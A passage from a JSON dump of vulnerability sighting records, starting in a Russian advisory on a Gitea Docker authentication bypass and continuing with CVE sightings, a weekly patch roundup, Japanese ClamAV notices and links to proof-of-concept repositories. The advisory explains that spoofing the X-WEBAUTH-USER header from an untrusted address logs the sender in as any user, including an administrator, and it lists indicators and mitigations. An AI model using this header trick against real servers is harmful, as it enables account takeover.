\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f 127.0.0.0/8,::1/128, \u0442\u043e \u0435\u0441\u0442\u044c \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043a \u0430\u0434\u0440\u0435\u0441\u0430\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 (loopback-\u0430\u0434\u0440\u0435\u0441\u0430). \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u0435 Docker app.ini \u0431\u044b\u043b\u043e \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u043e \u043d\u0430 \u0448\u0430\u0431\u043b\u043e\u043d \u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c \u0432\u0438\u0434\u0430 X-WEBAUTH-USER:  \u0438 \u0431\u044b\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0430\u043a \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0442\u043e\u043a\u0435\u043d\u0430 \u0438\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438. \u0415\u0441\u043b\u0438 \u0432 Gitea \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0430\u0432\u0442\u043e-\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f, \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u2014 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u043d\u0430\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043b\u043e\u0433\u0438\u043d, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u043c\u044f. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u2014 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u043f\u043e\u0434 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u2757\ufe0f\u0412\u0430\u0436\u043d\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435: \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0441\u0435\u0430\u043d\u0441, \u0430 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 API \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 (/api/v1/...). \u042d\u0442\u043e\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a X-WEBAUTH-USER \u0438 \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\ud83d\udca5 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u041f\u041e: \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 Docker-\u043e\u0431\u0440\u0430\u0437\u044b Gitea \u0434\u043e 1.26.3. \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e 1.26.4 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435 \u0438\u0437-\u0437\u0430 \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u0438 \u0432 1.26.3.\n\u0422\u0438\u043f: \u041e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 / Impersonation\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f: CWE-284 (Improper Access Control)\n\ud83d\udd3bCVSS 3.1: 9.8 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\ud83d\udd0d \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438\n\u2022 \u0417\u0430\u043f\u0440\u043e\u0441\u044b \u043a Gitea \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u043c X-WEBAUTH-USER \u043e\u0442 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441.\n\u2022 \u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0445\u043e\u0434\u044b \u0432 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\u2022 \u041d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\u2022 \u041f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u2014 \u043f\u0440\u0438\u0437\u043d\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0430\u0432\u0442\u043e-\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e.\n\u2022 \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a\u043b\u044e\u0447\u0435\u0439 SSH, \u043a\u043b\u044e\u0447\u0435\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0432\u0435\u0431-\u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0447\u0438\u043a\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u0439 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\n\u2022 \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u043c \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437  reverse proxy.\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Gitea \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.26.4 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435. \n\n2. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e reverse-proxy \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c ENABLE_REVERSE_PROXY_AUTHENTICATION.\n\n3. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 proxy-\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438.\n\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u0435 REVERSE_PROXY_TRUSTED_PROXIES = * \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 reverse proxy.\n\n4. \u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0430\u0432\u0442\u043e-\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f.\n\n5. \u0417\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043f\u0440\u044f\u043c\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Gitea \u0432 \u043e\u0431\u0445\u043e\u0434 reverse proxy. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u044d\u043a\u0440\u0430\u043d, \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u0441\u0435\u0442\u0435\u0439 Docker, \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u043d\u0443\u044e \u0441\u0435\u0442\u044c \u0438\u043b\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n\n6. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0441 X-WEBAUTH-USER \u043e\u0442 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0437\u0430 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0430 (20-\u0435 \u0447\u0438\u0441\u043b\u0430 \u0438\u044e\u043d\u044f 2026).\n\n7. \u041e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0432\u0435\u043d\u0434\u043e\u0440\u0430.", "creation_timestamp": "2026-08-04T13:00:18.857487Z"}, {"uuid": "995e8338-0bcc-4229-bda5-e73220675b04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "Telegram/CcRo1gMZwWwNofZNwYOQ3d2hQNvA4xaZ28UNdx64Ma-ZFGg", "content": "", "creation_timestamp": "2026-08-30T00:00:25.810549Z"}, {"uuid": "095d6bfe-cbc0-4a8f-9bff-e1c9c8960563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20449", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T20:00:00.000000Z"}, {"uuid": "841a89e9-81b0-4463-9030-adc7d1a8d3c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20450", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T20:00:00.000000Z"}, {"uuid": "524db6dd-4b5e-47e6-8c85-00abe3dbdde9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20447", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T20:00:00.000000Z"}, {"uuid": "c2f3c66d-206a-40aa-971a-8e757c0b47fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20448", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T20:00:00.000000Z"}, {"uuid": "b1fbc665-28eb-4e11-ad1e-30c339bef75a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "Telegram/Y_xNc4JrZ-tyC3UP8KNp3mHZkpQBlpIA1IgeHuDgcQrNJTo", "content": "", "creation_timestamp": "2026-05-10T21:00:05.000000Z"}, {"uuid": "a3e25591-6f27-4d56-9e80-d8a497ca8c7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-29T20:00:19.135518Z"}, {"uuid": "dbf528a5-eba9-4273-aa52-0d93c9069699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/2529", "content": "https://github.com/oxfemale/CVE-2026-20817", "creation_timestamp": "2026-08-03T23:00:13.220522Z"}, {"uuid": "c0715393-7020-420a-bb53-43b48f6ba87b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20888", "type": "seen", "source": "https://bsky.app/profile/theresidentmachine.bsky.social/post/3mlpjorpcp72l", "content": "CVE-2026-20888: The Cancel Button That Forgot to Ask Who You Were\n\n#TheResident #ehabhussein #cybersecurity #infosec #vulnerability #CVE #hacking #security #CVE202620888", "creation_timestamp": "2026-05-13T05:04:19.451391Z"}, {"uuid": "d6ea4221-af23-4795-bc89-35ff7fc4dfd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "https://t.me/CyberDispatch/2110", "content": "Cisco Unified CM admins should check WebDialer now.\n\nCVE-2026-20230 is being exploited, and vulnerable WebDialer-enabled systems can be abused by unauthenticated attackers to write files.", "creation_timestamp": "2026-08-30T00:00:28.175755Z"}, {"uuid": "fdcba10c-40a2-410f-9b11-7f2795a4325e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/2529", "content": "https://github.com/oxfemale/CVE-2026-20817", "creation_timestamp": "2026-08-04T00:00:10.045362Z"}, {"uuid": "4f6761de-834d-4209-9475-666547f8f77b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2020", "type": "published-proof-of-concept", "source": "Telegram/snqalfjRGyeCByylJf6ek_8lwbWnhtUi9PGLk9MnmWsBvV0", "content": "", "creation_timestamp": "2026-08-04T00:00:44.883857Z"}, {"uuid": "0c34bf22-382e-4603-babe-7930f3519379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "Telegram/O41s4ZacceniC-zmRdA20LKtlUfLN8dJaI2Rmc1hsAXigiA", "content": "", "creation_timestamp": "2026-05-13T21:00:04.000000Z"}, {"uuid": "8b941493-6e02-4d3e-9a55-2c3d2fcabed1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20213", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mryc5quqic2h", "content": "\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u8106\u5f31\u6027 - Cisco\u88fd\u54c1\u306b\u3082\u5f71\u97ff\n\n\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002\u8106\u5f31\u6027\u3092\u60aa\u7528\u3055\u308c\u308b\u3068\u3001\u30b9\u30ad\u30e3\u30f3\u51e6\u7406\u304c\u4e2d\u65ad\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3068\u3044\u3046\u3002\n\n\u958b\u767a\u30c1\u30fc\u30e0\u306f\u73fe\u5730\u6642\u95932026\u5e747\u67081\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u30017\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-20213\u300d\u300cCVE-2026-20214\u300d\u300cCVE-2026-20215\u300d\u300cCVE-2026-20216\u300d\u300cCVE-2026-20217\u300d\u300cCVE-2026-20243\u300d\u300cCVE-2026-20244\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\n\n\u30d1\u30c3\u30ab\u30fc\u3084\u4e0d\u6b63\u306aPE\u30d5\u30a1\u30a4\u30eb\u306a\u3069\u3001\u7279\u5b9a\u5f62\u5f0f\u306e\u30d5\u30a1\u30a4\u30eb...", "creation_timestamp": "2026-08-01T01:14:40.043996Z"}, {"uuid": "a69b8753-c875-45b6-9601-1bb6509a2f5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20214", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mryc5quqic2h", "content": "\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u8106\u5f31\u6027 - Cisco\u88fd\u54c1\u306b\u3082\u5f71\u97ff\n\n\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002\u8106\u5f31\u6027\u3092\u60aa\u7528\u3055\u308c\u308b\u3068\u3001\u30b9\u30ad\u30e3\u30f3\u51e6\u7406\u304c\u4e2d\u65ad\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3068\u3044\u3046\u3002\n\n\u958b\u767a\u30c1\u30fc\u30e0\u306f\u73fe\u5730\u6642\u95932026\u5e747\u67081\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u30017\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-20213\u300d\u300cCVE-2026-20214\u300d\u300cCVE-2026-20215\u300d\u300cCVE-2026-20216\u300d\u300cCVE-2026-20217\u300d\u300cCVE-2026-20243\u300d\u300cCVE-2026-20244\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\n\n\u30d1\u30c3\u30ab\u30fc\u3084\u4e0d\u6b63\u306aPE\u30d5\u30a1\u30a4\u30eb\u306a\u3069\u3001\u7279\u5b9a\u5f62\u5f0f\u306e\u30d5\u30a1\u30a4\u30eb...", "creation_timestamp": "2026-08-01T01:14:40.090813Z"}, {"uuid": "302626c8-79ae-418c-8141-5d35fb029250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20216", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mryc5quqic2h", "content": "\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u8106\u5f31\u6027 - Cisco\u88fd\u54c1\u306b\u3082\u5f71\u97ff\n\n\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002\u8106\u5f31\u6027\u3092\u60aa\u7528\u3055\u308c\u308b\u3068\u3001\u30b9\u30ad\u30e3\u30f3\u51e6\u7406\u304c\u4e2d\u65ad\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3068\u3044\u3046\u3002\n\n\u958b\u767a\u30c1\u30fc\u30e0\u306f\u73fe\u5730\u6642\u95932026\u5e747\u67081\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u30017\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-20213\u300d\u300cCVE-2026-20214\u300d\u300cCVE-2026-20215\u300d\u300cCVE-2026-20216\u300d\u300cCVE-2026-20217\u300d\u300cCVE-2026-20243\u300d\u300cCVE-2026-20244\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\n\n\u30d1\u30c3\u30ab\u30fc\u3084\u4e0d\u6b63\u306aPE\u30d5\u30a1\u30a4\u30eb\u306a\u3069\u3001\u7279\u5b9a\u5f62\u5f0f\u306e\u30d5\u30a1\u30a4\u30eb...", "creation_timestamp": "2026-08-01T01:14:40.204686Z"}, {"uuid": "24b14575-c515-426b-8269-d97a50cae79f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20215", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mryc5quqic2h", "content": "\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u8106\u5f31\u6027 - Cisco\u88fd\u54c1\u306b\u3082\u5f71\u97ff\n\n\u30de\u30eb\u30a6\u30a7\u30a2\u5bfe\u7b56\u30bd\u30d5\u30c8\u300cClamAV\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002\u8106\u5f31\u6027\u3092\u60aa\u7528\u3055\u308c\u308b\u3068\u3001\u30b9\u30ad\u30e3\u30f3\u51e6\u7406\u304c\u4e2d\u65ad\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3068\u3044\u3046\u3002\n\n\u958b\u767a\u30c1\u30fc\u30e0\u306f\u73fe\u5730\u6642\u95932026\u5e747\u67081\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u30017\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-20213\u300d\u300cCVE-2026-20214\u300d\u300cCVE-2026-20215\u300d\u300cCVE-2026-20216\u300d\u300cCVE-2026-20217\u300d\u300cCVE-2026-20243\u300d\u300cCVE-2026-20244\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\n\n\u30d1\u30c3\u30ab\u30fc\u3084\u4e0d\u6b63\u